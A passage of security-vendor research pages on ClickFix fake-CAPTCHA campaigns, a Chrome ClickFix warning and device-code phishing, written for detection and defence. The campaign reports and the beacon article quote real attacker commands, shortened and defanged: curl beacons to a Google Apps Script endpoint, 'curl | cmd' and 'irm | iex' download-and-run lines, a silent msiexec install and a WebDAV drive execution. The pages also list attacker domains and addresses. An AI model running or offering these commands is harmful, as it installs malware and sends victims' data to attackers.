`gme.henrysullivandocudywyq[.]com` | | Paths | `/signin.php`, `/outlook/signin.php`, `/yahoo/signin.php`, `/aol/signin.php`, `/email/signin.php`, `/processmail.php`, `/process.php`, `/success.php`, `/success1.php` | | Operator channel | `/check_telegram_updates.php`, `/check_telegram_updates2.php` | | Kit assets | `/outlook/assets/ms-loader.css`, `/outlook/assets/ms-loader.js` (loaded by the AOL, Yahoo, Email and Microsoft pages) | | Page markers | element IDs `bwOverlay`, `bwWin`, `bwFrame`; session storage keys `gwBrowserState`, `gwBrowserDisplayUrl` | MITRE ATT&CK: T1566.002, T1598.003, T1036, T1111. #### Questions people ask **Does multi-factor authentication protect me?** A one-time code by SMS or app does not: the page asks you for it while the attacker types it on the real service. Passkeys and security keys do, because they only work on the real domain. **Is "Sign in with Google / Microsoft" itself unsafe?** No. The real buttons open a real browser window on the provider's own domain. The trick only works because the fake window looks the same; the checks above tell them apart. **I typed my password into one. What now?** Change that password at once on the real site, sign out of all sessions there, and check that no new sign-in method or mail-forwarding rule was added. Tell your IT team if it is a work account. **Read the guide** [AiTM phishing: how attackers bypass MFA](https://bytemantle.com/research/aitm-phishing-mfa-bypass/) #### Stop these attacks before anything runs. Free browser protection for everyone, in Chrome and Edge. One console for your whole company when you need it. [Get the extension — free](https://chromewebstore.google.com/detail/bkplloeajblikjdffgdepnhicgajfhcd) --- ## Chrome now warns about ClickFix. Is that enough? Address: https://bytemantle.com/research/chrome-clickfix-warning-vs-extension/ Updated: 2026-11-03 > Chrome now warns Enhanced Protection users about some copied ClickFix commands. What it covers, what it sends to Google, and what a browser security extension adds. ### Chrome now warns about ClickFix. Is that enough? In October 2026 Google added a ClickFix warning to Chrome. It is good news. Here is what it covers, what it needs, and where a security extension with a console still makes the difference — especially for companies. Guide · 30 October 2026 · 5 min read #### In short - Chrome’s warning works only for people who turned on **Enhanced Protection**. - When a suspicious command is copied, Chrome removes personal data from it and sends it to Google Safe Browsing to decide. - It warns the user. It does not tell the company’s IT team that it happened. - ByteMantle decides locally, replaces the harmful command, works in Chrome and Edge, and reports each attack to your console. #### What Chrome added With Enhanced Protection on (Settings → Privacy and security → Security → Enhanced protection), Chrome now looks at commands copied from web pages. If a copied text looks like a ClickFix script, Chrome strips personal data from it and sends it to Safe Browsing; when the service judges it dangerous, Chrome shows a warning. The same update added a lower-confidence “suspicious site” warning and server-side scam detection. If you use Enhanced Protection, keep it on: it is a useful layer. #### Where the gaps are - **It is opt-in.** Standard protection is the default; most people and many managed fleets never switch to Enhanced. - **It is a warning, not a removal.** The command stays on the clipboard if the user clicks past the warning. - **It sends copied text to Google.** Some organisations cannot enable Enhanced Protection for privacy or policy reasons. - **Nobody else knows.** The security team does not learn which user met which lure on which compromised site, so the next colleague meets the same page. - **Chrome only.** Edge users and mixed fleets are not covered by this feature. #### Side by side | | Chrome warning | ByteMantle | | --- | --- | --- | | Needs a setting changed | Yes, Enhanced Protection | No, on after install | | Where the decision is made | Google Safe Browsing | Locally, in the browser | | What happens to the command | Warning shown | Replaced with a harmless message, warning shown | | Fake CAPTCHA page detected | When Safe Browsing already lists the site | Yes, from the page’s content and instructions | | Browsers | Chrome | Chrome and Edge | | Company visibility | No | Incident story in the console, SIEM forwarding | | Block the site for everyone | No | Yes, on the browsers you choose | #### Which one do you need? - **At home:** turn on Enhanced Protection if you are comfortable with it, and add ByteMantle for local protection that removes the command itself. Both are free. - **In a company:** you need to know when it happens. ByteMantle gives every browser the same protection by policy and gives IT the full story of each attempt — where it came from, the compromised site, the command, the outcome — so the lure can be blocked for everyone. #### Questions people ask **How do I turn on Chrome’s ClickFix protection?** Open Chrome Settings, go to Privacy and security, then Security, and choose Enhanced protection. The ClickFix warning is part of it. **Does Chrome read everything I copy?** According to Google’s description, Chrome checks text that looks like a ClickFix command and sends it, with personal data removed, to Safe Browsing for analysis. It does not describe sending everything you copy. **Does ByteMantle send my clipboard anywhere?** No. The analysis runs in your browser. Only if your browser is connected to a ByteMantle console does the evidence of a detected attack, such as the harmful command, go to that console. **Sources** 1. [The Hacker News — Google Chrome adds ClickFix warnings (Oct 2026)](https://thehackernews.com/2026/10/google-chrome-adds-clickfix-warnings-to.html) 2. [BleepingComputer — Chrome adds Gemini-powered scam detection, warns of ClickFix attacks](https://www.bleepingcomputer.com/news/google/google-chrome-adds-gemini-powered-scam-detection-warns-users-of-clickfix-attacks/) 3. [SecurityWeek — Google hardens Chrome against ClickFix attacks](https://www.securityweek.com/google-hardens-chrome-against-clickfix-attacks-insecure-http-connections/) #### Stop these attacks before anything runs. Free browser protection for everyone, in Chrome and Edge. One console for your whole company when you need it. [Get the extension — free](https://chromewebstore.google.com/detail/bkplloeajblikjdffgdepnhicgajfhcd) --- ## The ClickFix beacon: how a fake CAPTCHA reports you before the download Address: https://bytemantle.com/research/clickfix-beacon-fake-captcha-profiles-you/ Updated: 2026-11-12 > Five hacked websites served the same ClickFix command: before downloading anything, it reports the visitor, the Windows version and the hacked site to one Google Apps Script project. What ByteMantle research browsers saw, 5–11 November 2026. ### The ClickFix beacon: a fake CAPTCHA reports you before the download. Most ClickFix commands download malware and run it. This one first sends a short report about you to a small script hosted on Google, then downloads the next step. Five hacked websites served it, and all five report to the same place. Research · 12 November 2026 · 5 min read · From pages opened in ByteMantle research browsers, 5–11 November 2026 #### In short - **5 hacked websites** put the same kind of command on the clipboard of our research browsers on 5 November. - Before anything else, the command sends an id, the visitor's time zone and language, the Windows version and the address of the hacked site to **one Google Apps Script project**. Then it downloads a second step from a site hosted on Vercel and runs it. - The same project address on all five sites means **one operator** behind them. Four of the five also read the same smart contract. - Neither Google nor Vercel can be blocked by a company. What gives the attack away is the shape of the command, and that is what ByteMantle recognises. #### The command The fake "Verify you are human" box asks the visitor to press Windows + R and paste. This is what the page put on the clipboard (the visitor's details shortened, the hacked site replaced, the hosts defanged): ``` cmd.exe /c "curl.exe -sL -d "id=…" -d "location=…" -d "siteUrl=https://[hacked site]/" -d "os=win11" -d "lastVisitAt=2026-11-05T13:17:58Z" -d "lastShellAt=2026-11-05T13:17:58Z" "https://script.google[.]com/macros/s/AKfycbzs0vQR…/exec" & curl.exe -s https://script-six-tawny.vercel[.]app/win -L | cmd" ``` It does two things, one after the other: 1. **The report.** `curl.exe`, a download tool built into Windows 10 and 11, sends six values to a Google Apps Script web app: a random id for this visit, the visitor's time zone and browser language, the address of the hacked site, the Windows version, and two times. 2. **The download.** It then fetches a text from `script-six-tawny.vercel[.]app/win` and hands it straight to the Windows command prompt, which runs it. No PowerShell, no file saved to disk by the command itself: only two tools every Windows computer has. #### What the report is for We did not run the command, so we do not know what the script on Google does with the report. What the fields allow is clear enough: - **Counting which hacked site works.** The address of the hacked site travels with every report, so the operator can see which of their sites bring visitors who paste. - **Choosing the next step.** The Windows version, time zone and language are what an attacker needs to serve a different payload, or none, to different visitors. - **Recognising a visitor who comes back.** The names of the two times (`lastVisitAt`, `lastShellAt`) suggest the page remembers when a visitor last came and last received a command; on our first visits both were simply the moment of the visit. Such fields let an operator avoid showing the lure twice to the same person, or to a researcher who keeps coming back. The page computed all of this in the browser and wrote it into the command, before the visitor pasted anything. The report only travels if the visitor runs the command. #### Five sites, one operator A Google Apps Script web app has a long address that is unique to one project. All five hacked sites used the same one: ``` script.google[.]com/macros/s/AKfycbzs0vQRvI-2Bx4VUUCxUA4k64HdkiHicTmuK3y1MXAl7AgjPIWtRBZqH0v6EzzeuBaH/exec ``` All five also download their second step from the same Vercel address. Four of them read their lure from the same smart contract on Polygon, `0xf70730a4e5b89b6c6e02edaed582badf6465e9d9` ([EtherHiding](https://bytemantle.com/research/etherhiding-blockchain-malware/)). The fifth showed the same lure and the same command without a contract read we could see. The five sites themselves have nothing in common: a news site, a school and company websites, on different domain endings. Their link is the attacker's project, and the ByteMantle console's investigation graph draws exactly that kind of link for your own browsers. #### Why blocking the addresses does not help - **Google and Vercel are used by everyone.** No company can block `script.google.com` or every `vercel.app` site without breaking work, and the attacker's project is one address among millions. - **A block list has to wait for a report.** Protection that depends on lists can only act once someone has seen and reported the project address or the Vercel site. The five hacked sites are real businesses that no list had a reason to suspect. - **The project can be replaced in minutes.** A new Apps Script deployment gets a new address; the hacked sites only need the new one. Lists still help, and ByteMantle uses them too. But the part that stops this attack is not about addresses. #### What ByteMantle recognises On all five sites the ByteMantle extension recognised the command when the page put it on the clipboard: the Windows command prompt chaining a download into a second command, written by a web page for the Run box. It does not matter which service the command talks to. ByteMantle replaces such a command with a harmless message before it can be pasted, and the report never leaves the computer. On four of the sites it also saw the page read the smart contract, and on all five the fake CAPTCHA itself, from the first visit. #### What to do - **Security teams:** look in your logs for `curl.exe` sending form data to `script.google.com/macros/`, and for `curl.exe … | cmd`. Legitimate software rarely does either from a user's session. - **Google Apps Script and Vercel users:** nothing to do; the abuse is of the platforms, not of your projects. - **Everyone:** no real website ever asks you to press Windows + R or paste something to prove you are human. [Already pasted? What to do now.](https://bytemantle.com/research/fake-captcha-windows-r/) #### Indicators | Indicator | What it is | | --- | --- | | `script.google[.]com/macros/s/AKfycbzs0vQRvI-2Bx4VUUCxUA4k64HdkiHicTmuK3y1MXAl7AgjPIWtRBZqH0v6EzzeuBaH/exec` | Google Apps Script web app that receives the report | | `script-six-tawny.vercel[.]app/win` | second step, run by the command prompt | | `0xf70730a4e5b89b6c6e02edaed582badf6465e9d9` | Polygon smart contract read by four of the five sites | The sites that served the lure are in the downloadable lists of the [ClickFix report](https://bytemantle.com/research/clickfix-report-2026-11-11/#indicators), each with the date we saw it. #### How we collect this We open pages from a public list of ClickFix sites in research browsers with the ByteMantle extension, the same extension you can install. We do not run the commands, so nothing was sent to the attacker's project from our browsers. The command text comes from what the extension recorded when the page wrote it to the clipboard; the values that describe our own research browsers are left out. What customers' browsers see is never part of our research. #### Read more - [One smart contract, a new payload server every few days](https://bytemantle.com/research/one-smart-contract-new-payload-host/) - [Beyond irm | iex: six ways a fake CAPTCHA delivers malware](https://bytemantle.com/research/fake-captcha-six-delivery-methods/) - [ClickFix report, 5–11 November 2026](https://bytemantle.com/research/clickfix-report-2026-11-11/) - [What is ClickFix? The copy-paste attack, explained](https://bytemantle.com/research/what-is-clickfix/) #### Stop these attacks before anything runs. Free browser protection for everyone, in Chrome and Edge. One console for your whole company when you need it. [Get the extension — free](https://chromewebstore.google.com/detail/bkplloeajblikjdffgdepnhicgajfhcd) --- ## ClickFix report: 38 hacked sites, 2–5 November 2026 Address: https://bytemantle.com/research/clickfix-report-2026-11-05/ Updated: 2026-11-12 > What ByteMantle research browsers met on live ClickFix pages, 2–5 November 2026: 38 hacked sites, 25 lures read from 8 smart contracts, the commands and where they download from. ### ClickFix report: 38 hacked sites, 8 smart contracts behind them. Every two weeks we publish what ByteMantle's research browsers met on live ClickFix pages: which sites were hacked, what they run, which smart contracts feed them, where the commands download from and how it connects. Research · 5 November 2026 · Based on pages opened in ByteMantle research browsers from a public list of ClickFix sites, 2–5 November 2026. Numbers count distinct sites. Indicators are defanged; hacked sites are not named. #### In short - **38 websites** showed a ClickFix lure; **28** of them put a command on the visitor's clipboard. - **25 sites** read their lure from one of **8 smart contracts** (EtherHiding); one contract alone fed **10 sites**. - Of the 25 sites whose software we could identify, **7** report a version with flaws exploited in the wild and **4** run software that no longer gets security updates. - **15 of the 28 sites** served a command that downloads from a service everybody trusts. **A newer report is out:** [ClickFix report, 5–11 November 2026](https://bytemantle.com/research/clickfix-report-2026-11-11/). **Want your browsers to stop this at the paste?** The ByteMantle extension reads every command a page puts on the clipboard and replaces a dangerous one before you can paste it. [Get the extension — free](https://chromewebstore.google.com/detail/bkplloeajblikjdffgdepnhicgajfhcd). #### The numbers Distinct sites, 2–5 November 2026. A site counts once, however often it was opened. #### The hacked sites and what they run The lures are on real websites of real organisations, with a script added that draws a fake "Verify you are human" box over the real page. Our browsers record the software each site reports about itself. Content management system of the 38 hacked sites, as the sites report it. Of 38 sites. Versions are what each site reports; a host can patch without changing the version, so these are possible flaws, not proof. | Software (reported version) | Sites | Known flaws | Actively exploited (CISA KEV) | Worst CVSS | Security updates | | --- | --- | --- | --- | --- | --- | | `wordpress 6.9.1` | 2 | 4 | 4 | 9.8 | supported | | `php 7.4.33` | 2 | 5 | 2 | 9.8 | ended 2022-11-28 | | `php 8.2.28` | 1 | 20 | 2 | 9.5 | ends 2026-12-31 | | `php 8.0.30` | 1 | 4 | 2 | 9.8 | ended 2023-11-26 | | `nginx 1.15.6` | 1 | 10 | 1 | 7.7 | ended 2019-05-21 | | `wordpress 6.9.10` | 1 | 1 | 1 | 8.1 | supported | | `jquery 3.2.1` | 1 | 3 | 1 | — | supported | This does not say how each site was broken into: stolen passwords and vulnerable plugins are just as common. It says that the sites hosting these lures were often not well looked after. Hacked sites by the country of their domain ending; most use a generic ending that says nothing about the country. #### The smart contracts behind the lures On 25 sites the added script asks a **smart contract** on a public blockchain where the lure is, every time the page loads ([EtherHiding](https://bytemantle.com/research/etherhiding-blockchain-malware/)). The attackers change one value and every hacked site shows the new lure; nobody can take a contract down. | Contract | Blockchain | Sites | Seen | | --- | --- | --- | --- | | `0xf70730a4e5b89b6c6e02edaed582badf6465e9d9` | Polygon | 10 | 2026-11-02 – 2026-11-05 | | `0xb6bc9e1d0b2fb96ab7c47e04cb0be477410bc1f2` | Polygon | 6 | 2026-11-02 – 2026-11-05 | | `0xb29927b7d854b232d5e58cfc201866376e68c676` | Polygon | 4 | 2026-11-05 – 2026-11-05 | | `0xdf132e2893824e26ec8ae8014b4f4facd54ed67f` | BNB Smart Chain | 3 | 2026-11-02 – 2026-11-05 | | `0x46790e2ac7f3ca5a7d1bfce312d11e91d23383ff` | BNB Smart Chain | 3 | 2026-11-02 – 2026-11-05 | | `0xf4a32588b50a59a82fba148d436081a48d80832a` | BNB Smart Chain | 1 | 2026-11-05 – 2026-11-05 | | `0xa1decfb75c8c0ca28c10517ce56b710baf727d2e` | BNB Smart Chain | 1 | 2026-11-05 – 2026-11-05 | | `0xb909956b9d716ddfdf6935115a8d6f6cb2e655c6` | Polygon | 1 | 2026-11-02 – 2026-11-02 | 4 site(s) read more than one contract, so the column adds up to 29 for 25 sites. Each row: a contract; each dot: a day it was read, with the number of sites. Under a dot: the server the contract pointed to, when it changed. #### How it connects The same contract means the same operation. Following each contract to the sites that read it, and from there to what their commands download, shows separate campaigns with their own habits — the way the investigation graph in the ByteMantle console shows it for your own browsers. Each row: a smart contract, the sites that read it, where their commands download from and the form of the command (number of sites). - **The biggest operation** (Polygon contract `0xf707…e9d9`, 10 sites): Google Apps Script; reports the visitor, then downloads. #### Where the commands download from Sites, by the service their command downloads from. **For security teams:** blocking these services is not an option, and the attackers' own addresses change weekly. What does not change is the shape of the command: a shell, a download, an execution, put on the clipboard by a web page. #### The commands, by form Sites, by the form of the command. | Form | Sites | Example (shortened, defanged) | | --- | --- | --- | | PowerShell: download and run | 12 | `IRM fastly.jsdelivr[.]net/g"h"/wiktor1992kl/sds37465-df459-kcne8xhf-ajdf55/ea25409061fa / IEX` | | Reports the visitor, then downloads | 9 | `cmd[.]exe /c "curl[.]exe -sL -d ""id=…"" -d ""location=Europe%2FBucharest%20%7C%20en"" -d ""siteUrl=https%3A%2F%2F[hacked site]%2F"" -d ""os=win11"" -d ""lastVisitAt=2 …` | | Obfuscated PowerShell | 4 | `(irm 'https://lepafonso[.]bz/dantestraff2929/7d180aad5b40f31e' -UserAgent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126. …` | | Program to Temp, started | 1 | `cmd /c start /max www[.]theforestrecovery.[hacked site]/verification[.]php && curl -k -o %temp%\install[.]exe https://security-malware[.]com/index[.]html && start %tem …` | | ZIP unpacked, program started | 1 | `$url = "https://frclau[.]com/eoN"; $filename = "Boost Note[.]exe"; $path = $env:TEMP; $archive = Join-Path $path "zN3HyHJT[.]zip"; $filepath = Join-Path $path $filenam …` | | Network drive over WebDAV | 1 | `cmd /c net use Z: http://185.246.223[.]71/webdav /persistent:no && "Z:\update[.]cmd" & net use Z: /delete` | | Installer to Temp, installed silently | 1 | `cmd /c curl -gkso %TEMP%\wud[.]msi https://update.neewsoo[.]com/dl/kb1000013[.]msi?v=c15c541c16c4 && msiexec /i %TEMP%\wud[.]msi /qn` | #### The attackers' domains The download servers and lure servers that belong to the attackers themselves: 12 this time. Half of those with a known registration date are younger than **8 days**. The registration date of 10 of them is not known to the console yet. #### New this time - **A silent installer from the Temp folder.** The command downloads a Windows installer (`.msi`) into Temp and installs it with no window (`/qn`). The page that served it also carried notes, in Russian, on which command forms antivirus products detect. - **A fake "Claude early access" page** on a domain registered days before: AI tools are the new bait. - **The visitor is measured.** The most common command first reports an id, the time zone, the Windows version and the hacked site to Google Apps Script, then downloads the next step. #### How to protect your people and your site - **Tell your people the one rule:** no real website ever asks you to press Windows + R, open Terminal or paste something to prove you are human. - **Stop it at the paste.** ByteMantle reads what a page puts on the clipboard, recognises the command by its shape (not by its domain) and replaces it with a harmless message. - **Run a website?** Keep the CMS, its plugins and PHP up to date. Open your own site with the ByteMantle extension: a lure or a contract read on your own pages means it was hacked. Our [SC research](https://bytemantle.com/research/sc-family-wordpress-etherhiding/) explains how to check and clean. #### Indicators For your SIEM or threat-intelligence platform: - [Indicators (CSV)](https://bytemantle.com/assets/reports/2026-11-02_2026-11-05/indicators.csv) - [Indicators (STIX 2.1)](https://bytemantle.com/assets/reports/2026-11-02_2026-11-05/indicators-stix.json) - [One-page summary (PDF)](https://bytemantle.com/assets/reports/2026-11-02_2026-11-05/summary.pdf) | Indicator | Role | Domain age | | --- | --- | --- | | `ncheck-brows[.]beer` | download, lure server | 7 days | | `frclau[.]com` | download | 9 days | | `security-malware[.]com` | download | | | `codes.browse-cdn[.]beer` | download, lure server | | | `lepafonso[.]bz` | download | | | `govrobczxc[.]cc` | download | | | `alababababa[.]cloud` | download | | | `185.246.223[.]71` | download | | | `unlockorgdocv[.]com` | download | | | `threejrev[.]com` | download | | | `update.neewsoo[.]com` | download | | | `verifyidentrob01[.]cc` | download | | The smart contracts are listed in full above. Hacked websites are not listed. #### How we collect this We open pages from a public list of ClickFix sites in research browsers with the ByteMantle extension, the same extension you can install. We do not run the commands and do not download the malware. Every number comes from the ByteMantle console's threat report for those browsers: what the extension recorded on the pages, and what the console knows about the software and known flaws of the sites (NVD, OSV, CISA KEV, endoflife.date). A site counts once, however many times we opened it. #### Stop these attacks before anything runs. Free browser protection for everyone, in Chrome and Edge. One console for your whole company when you need it. [Get the extension — free](https://chromewebstore.google.com/detail/bkplloeajblikjdffgdepnhicgajfhcd) --- ## ClickFix report: 32 hacked sites, 5–11 November 2026 Address: https://bytemantle.com/research/clickfix-report-2026-11-11/ Updated: 2026-11-12 > What ByteMantle research browsers met on live ClickFix pages, 5–11 November 2026: 32 hacked sites, 22 lures read from 11 smart contracts, the commands and where they download from. ### ClickFix report: 32 hacked sites, 11 smart contracts behind them. Regularly we publish what ByteMantle's research browsers met on live ClickFix pages: which sites were hacked, what they run, which smart contracts feed them, where the commands download from and how it connects. Research · 11 November 2026 · Based on pages opened in ByteMantle research browsers from a public list of ClickFix sites, 5–11 November 2026. Numbers count distinct sites. Indicators are defanged on this page. The sites that served the lure are named only in the downloadable lists, each with the date we saw it. #### In short - **32 websites** showed a ClickFix lure; **22** of them put a command on the visitor's clipboard. - **22 sites** read their lure from one of **11 smart contracts** (EtherHiding); one contract alone fed **6 sites**. - Of the 23 sites whose software we could identify, **5** report a version with flaws exploited in the wild and **3** run software that no longer gets security updates. - **8 of the 22 sites** served a command that downloads from a service everybody trusts. **Want your browsers to stop this at the paste?** The ByteMantle extension reads every command a page puts on the clipboard and replaces a dangerous one before you can paste it. [Get the extension — free](https://chromewebstore.google.com/detail/bkplloeajblikjdffgdepnhicgajfhcd). #### The numbers Distinct sites, 5–11 November 2026. A site counts once, however often it was opened. Not counted: 10 more pages where only the page scan saw lure wording, with no command and no contract read. Some of them are articles and videos about ClickFix, so we do not call them hacked. #### Since the last report (2026-11-02 – 2026-11-05) - Sites with a lure: **32** (last time 38); with a command on the clipboard: **22** (last time 28). - Last time every page with lure wording was counted; since this report a site counts only with evidence of the attack on it (a command, a contract read or a confirmed lure), so the numbers are not directly comparable. - Smart contracts: **4** new, **7** still in use, **1** not seen this time. - Attacker domains: **9** new, **9** seen again. #### The hacked sites and what they run The lures are on real websites of real organisations, with a script added that draws a fake "Verify you are human" box over the real page. Our browsers record the software each site reports about itself. Content management system of the 32 hacked sites, as the sites report it. Of 32 sites. Versions are what each site reports; a host can patch without changing the version, so these are possible flaws, not proof. | Software (reported version) | Sites | Known flaws | Actively exploited (CISA KEV) | Worst CVSS | Security updates | | --- | --- | --- | --- | --- | --- | | `wordpress 6.9.1` | 1 | 4 | 4 | 9.8 | supported | | `php 8.0.30` | 1 | 4 | 2 | 9.8 | ended 2023-11-26 | | `php 7.4.33` | 1 | 5 | 2 | 9.8 | ended 2022-11-28 | | `php 8.2.28` | 1 | 29 | 2 | 9.5 | ends 2026-12-31 | | `php 8.1.34` | 1 | 2 | 2 | 9.2 | ended 2025-12-31 | | `wordpress 6.9.10` | 1 | 1 | 1 | 8.1 | supported | This does not say how each site was broken into: stolen passwords and vulnerable plugins are just as common. It says that the sites hosting these lures were often not well looked after. Hacked sites by the country of their domain ending; most use a generic ending that says nothing about the country. #### The smart contracts behind the lures On 22 sites the added script asks a **smart contract** on a public blockchain where the lure is, every time the page loads ([EtherHiding](https://bytemantle.com/research/etherhiding-blockchain-malware/)). The attackers change one value and every hacked site shows the new lure; nobody can take a contract down. | Contract | Blockchain | Sites | Seen | | --- | --- | --- | --- | | `0xb6bc9e1d0b2fb96ab7c47e04cb0be477410bc1f2` | Polygon | 6 | 2026-11-05 – 2026-11-11 | | `0xb29927b7d854b232d5e58cfc201866376e68c676` | Polygon | 5 | 2026-11-05 – 2026-11-06 | | `0xf70730a4e5b89b6c6e02edaed582badf6465e9d9` | Polygon | 5 | 2026-11-05 – 2026-11-05 | | `0xdf132e2893824e26ec8ae8014b4f4facd54ed67f` | BSC Testnet | 2 | 2026-11-05 – 2026-11-05 | | `0xff9e792a3015a79340cdec1847ab0aa10560422a` | Polygon | 2 | 2026-11-09 – 2026-11-09 | | `0xa1decfb75c8c0ca28c10517ce56b710baf727d2e` | BSC Testnet | 1 | 2026-11-05 – 2026-11-05 | | `0x46790e2ac7f3ca5a7d1bfce312d11e91d23383ff` | BSC Testnet | 1 | 2026-11-05 – 2026-11-05 | | `0xf4a32588b50a59a82fba148d436081a48d80832a` | BSC Testnet | 1 | 2026-11-05 – 2026-11-05 | | `0x58460d0b3d4d6b03761c89120393c0c676676496` | Base | 1 | 2026-11-06 – 2026-11-06 | | `0x83833c5d676ca06e941a32310ae67d0890f657ee` | Polygon | 1 | 2026-11-09 – 2026-11-09 | | `0xbab25ced421128c427ad19914473566633894dd5` | Polygon | 1 | 2026-11-09 – 2026-11-09 | 4 site(s) read more than one contract, so the column adds up to 26 for 22 sites. Each row: a contract; each dot: a day it was read, with the number of sites. Under a dot: the server the contract pointed to, when it changed. #### How it connects The same contract means the same operation. Following each contract to the sites that read it, and from there to what their commands download, shows separate campaigns with their own habits — the way the investigation graph in the ByteMantle console shows it for your own browsers. Each row: a smart contract, the sites that read it, where their commands download from and the form of the command (number of sites). - **The biggest operation** (Polygon contract `0xb6bc…c1f2`, 6 sites): lepafonso[.]bz, codes.browse-cdn[.]beer; PowerShell: download and run. #### Where the commands download from Sites, by the service their command downloads from. **For security teams:** blocking these services is not an option, and the attackers' own addresses change weekly. What does not change is the shape of the command: a shell, a download, an execution, put on the clipboard by a web page. #### The commands, by form Sites, by the form of the command. | Form | Sites | Example (shortened, defanged) | | --- | --- | --- | | PowerShell: download and run | 11 | `irm https://govrobczxc[.]cc/cdn/sync/traffic?r=4764/iex` | | Reports the visitor, then downloads | 5 | `cmd[.]exe /c "curl[.]exe -sL -d ""id=…"" -d ""location=…"" -d ""siteUrl=https%3A%2F%2Fwww.[hacked site]%2F"" -d ""os=win11"" -d ""lastVisitAt=2026-11-05T13%3A17%3A58.8 …` | | Obfuscated PowerShell | 3 | `(irm 'https://lepafonso[.]bz/dantestraff2929/7d180aad5b40f31e' -UserAgent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126. …` | | Program to Temp, started | 1 | `cmd /c start /max [hacked site]/verification[.]php && curl -k -o %temp%\install[.]exe https://security-malware[.]com/index[.]html && start %temp%\install[.]exe && echo …` | | Installer to Temp, installed silently | 1 | `cmd /c curl -gkso %TEMP%\wud[.]msi https://update.neewsoo[.]com/dl/kb1000013[.]msi?v=c15c541c16c4 && msiexec /i %TEMP%\wud[.]msi /qn` | | Network drive over WebDAV | 1 | `cmd /c net use Z: http://185.246.223[.]71/webdav /persistent:no && "Z:\update[.]cmd" & net use Z: /delete` | #### The attackers' domains The download servers and lure servers that belong to the attackers themselves: 18 this time. Half of those with a known registration date are younger than **12 days**. The registration date of 2 of them is not known to the console yet. Age of the attackers’ domains at the end of the period, from their registration date. #### New this time - **One contract, a new download server every few days.** The busiest Polygon contract pointed to a domain registered 13 hours before its first use, then to a second one registered two days before. [How it works](https://bytemantle.com/research/one-smart-contract-new-payload-host/). - **The visitor is reported before the download.** Five hacked sites served the same command, which first sends an id, the Windows version and the hacked site to one Google Apps Script project. [The beacon](https://bytemantle.com/research/clickfix-beacon-fake-captcha-profiles-you/). - **Six ways past `irm | iex`.** A shared network drive, a silent installer, an executable in Temp, an HTML application, encoded layers and a public code CDN. [The six methods](https://bytemantle.com/research/fake-captcha-six-delivery-methods/). - **A fake "Claude early access" page** again, on a domain registered about a month before: AI tools remain a favourite bait. #### How to protect your people and your site - **Tell your people the one rule:** no real website ever asks you to press Windows + R, open Terminal or paste something to prove you are human. - **Stop it at the paste.** ByteMantle reads what a page puts on the clipboard, recognises the command by its shape (not by its domain) and replaces it with a harmless message. - **Run a website?** Keep the CMS, its plugins and PHP up to date. Open your own site with the ByteMantle extension: a lure or a contract read on your own pages means it was hacked. Our [SC research](https://bytemantle.com/research/sc-family-wordpress-etherhiding/) explains how to check and clean. #### Indicators For your SIEM or threat-intelligence platform: - [Indicators (CSV)](https://bytemantle.com/assets/reports/2026-11-05_2026-11-11/indicators.csv) - [Indicators (STIX 2.1)](https://bytemantle.com/assets/reports/2026-11-05_2026-11-11/indicators-stix.json) - [Sites that served the lure (CSV)](https://bytemantle.com/assets/reports/2026-11-05_2026-11-11/lure-sites.csv) - [Sites that served the lure (STIX 2.1)](https://bytemantle.com/assets/reports/2026-11-05_2026-11-11/lure-sites-stix.json) | Indicator | Role | Domain age | | --- | --- | --- | | `browse-nnccodes[.]beer` | download, lure server | 2 days | | `codes.browse-cdn[.]beer` | download, lure server | 6 days | | `govrobczxc[.]cc` | download | 8 days | | `cloudflareconfirm[.]com` | download | 9 days | | `onchaindocfile[.]com` | lure page | 9 days | | `docsign[.]blog` | lure page | 9 days | | `pumpadmin[.]fun` | download | 10 days | | `frclau[.]com` | script host loaded into hacked pages | 11 days | | `maplezenith[.]live` | lure page | 14 days | | `online.projectsupportik[.]top` | lure page | 20 days | | `claudeearlyaccess-fable[.]cfd` | lure page | 30 days | | `threejrev[.]com` | download | 32 days | | `update.neewsoo[.]com` | download | 69 days | | `alababababa[.]cloud` | download | 83 days | | `makeverizyjar[.]info` | lure server | 99 days | | `security-malware[.]com` | download | 136 days | | `185.246.223[.]71` | download | | | `lepafonso[.]bz` | download | | The two "Sites that served the lure" lists name the 31 hacked sites and the 5 lure pages the attackers registered themselves, with the exact address and the dates we saw each one (1 site of a private person is counted but not listed). A site is listed because it served the lure when our research browsers opened it: the owner may have cleaned it since. The lists come only from ByteMantle's research browsers, never from what our customers' browsers see. **Own one of these sites?** Check and clean it (our [SC research](https://bytemantle.com/research/sc-family-wordpress-etherhiding/) explains how), then write to [info@bytemantle.com](mailto:info@bytemantle.com) and we update the list. #### How we collect this We open pages from a public list of ClickFix sites in research browsers with the ByteMantle extension, the same extension you can install. We do not run the commands and do not download the malware. Every number comes from the ByteMantle console's threat report for those browsers: what the extension recorded on the pages, and what the console knows about the software and known flaws of the sites (NVD, OSV, CISA KEV, endoflife.date). A site counts once, however many times we opened it. #### Stop these attacks before anything runs. Free browser protection for everyone, in Chrome and Edge. One console for your whole company when you need it. [Get the extension — free](https://chromewebstore.google.com/detail/bkplloeajblikjdffgdepnhicgajfhcd) --- ## Device code phishing: the real Microsoft page, the wrong person signed in. Address: https://bytemantle.com/research/device-code-phishing-microsoft-365/ Updated: 2026-11-03 > Attackers ask you to enter a code on the real microsoft.com/devicelogin page and take over your Microsoft 365 account, MFA included. How to spot and stop it. ### Device code phishing: the real Microsoft page, the wrong person signed in. “Enter this code to view the document.” The page is genuinely Microsoft’s, you complete MFA as usual, and the attacker’s device is now signed in to your mailbox. No fake page, no stolen password. Guide · 30 October 2026 · 6 min read #### In short - The device code flow lets TVs and command-line tools sign in by showing a short code you type on another device. - Attackers start that flow themselves and send you their code. When you enter it, their device gets your session. - Passwords, MFA and look-alike-domain checks do not help: everything happens on Microsoft’s real site. - Block the flow in Conditional Access where nobody needs it, and warn people at the moment the code page opens. #### What the attack looks like You receive a message by e-mail, Teams, WhatsApp or LinkedIn: a shared document, a meeting invitation, a voicemail, an “account verification”. It contains a short code, such as `KX7P-R2QM`, and a link to `microsoft.com/devicelogin`. Sometimes a lure page shows the code next to a button that opens the real Microsoft page in a new tab. You enter the code, choose your account, approve MFA. Microsoft then says you are signed in to an application on another device. That device belongs to the attacker, who now holds access and refresh tokens for your account: e-mail, OneDrive, Teams, often for weeks. #### Why it works so well - **The address is real.** Training says “check the address”; here it is 